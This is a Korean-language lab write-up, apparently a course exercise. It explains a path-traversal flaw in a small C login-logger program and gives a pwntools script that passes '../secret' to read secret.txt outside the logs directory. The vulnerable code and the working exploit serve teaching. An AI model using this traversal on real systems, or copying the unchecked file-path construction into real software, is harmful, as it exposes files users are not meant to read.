다음 코드는 입력된 사용자 ID를 기반으로 특정 로그 파일에 로그인 시간을 기록하고, 다른 사용자의 로그를 읽을 수 있도록 설계되어있다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define LOG_FORMAT "./logs/%s.txt"
void read_line(char *buf, int bufsize) {
if (!fgets(buf, bufsize, stdin)) {
exit(1);
}
buf[strcspn(buf, "\n")] = '\0'; // Replace the trailing newline character.
}
void write_log(char *file_path) {
time_t now = time(NULL);
FILE * fp = fopen(file_path, "w");
if (!fp) {
printf("Failed to open %s\n", file_path);
exit(1);
}
fprintf(fp, "Last login: %s", ctime(&now));
fclose(fp);
printf("Recorded your last login time!\n");
}
void read_log(char *file_path) {
char logbuf[64];
FILE * fp = fopen(file_path, "r");
if (!fp) {
printf("Failed to open %s\n", file_path);
exit(1);
}
fgets(logbuf, sizeof(logbuf), fp);
fputs(logbuf, stdout);
fclose(fp);
}
int main(void) {
char file_path[64];
char input_buf[32];
setvbuf(stdin, NULL, _IONBF, 0);
printf("Welcome! Please input your ID: ");
read_line(input_buf, sizeof(input_buf));
snprintf(file_path, sizeof(file_path), LOG_FORMAT, input_buf);
write_log(file_path);
printf("Do you want to check other user's login record? (Y/N): ");
read_line(input_buf, sizeof(input_buf));
if (strcmp("Y", input_buf) == 0) {
printf("Input the user ID you want to check: ");
read_line(input_buf, sizeof(input_buf));
snprintf(file_path, sizeof(file_path), LOG_FORMAT, input_buf);
read_log(file_path);
}
return 0;
}
read_log함수를 통해 secret.txt 속 내용을 출력할 것으로 보인다.
read_log가 어디에 사용되었는지 확인해보자.
snprintf(file_path, sizeof(file_path), LOG_FORMAT, input_buf);
read_log(file_path);
세번째 입력 문자열이 저장된 input_buf를 LOG_FORMAT(./logs/%s.txt)형태로 전환하여 file_path에 저장하고, read_log함수를 통해 이를 화면에 출력한다.
*중요한 점은 snprintf 함수가 사용되어 경로가 지정된 파일이 존재하면, 해당 파일의 내용을 읽을 수 있다는 것이다.
무작정 입력으로 secret을 하면, logs 디렉토리 내의 secret.txt를 읽게 된다.
우리는 현재 디렉토리 내의 secret.txt를 읽어야 한다.
따라서, 입력으로 ../secret을 하면, ./logs/../secret.txt가 되어 현재 디렉토리(logs 이전 디렉토리)에 있는 secret.txt를 읽게 된다.
이제 logger.bin을 공격하는 exploit_logger.py를 작성해보자.
#!/usr/bin/python3
from pwn import *
def exploit():
# Write your exploit logic here.
p = process("./logger.bin")
print(p.recvuntil(b"Welcome! Please input your ID: "))
p.sendline(b"20221590")
print(p.recvuntil(b"Recorded your last login time!"))
print(p.recvuntil(b"Do you want to check other user's login record? (Y/N): "))
p.sendline(b"Y")
print(p.recvuntil(b"Input the user ID you want to check: "))
p.sendline(b"../secret")
print(p.recvline())
if __name__ == "__main__":
exploit()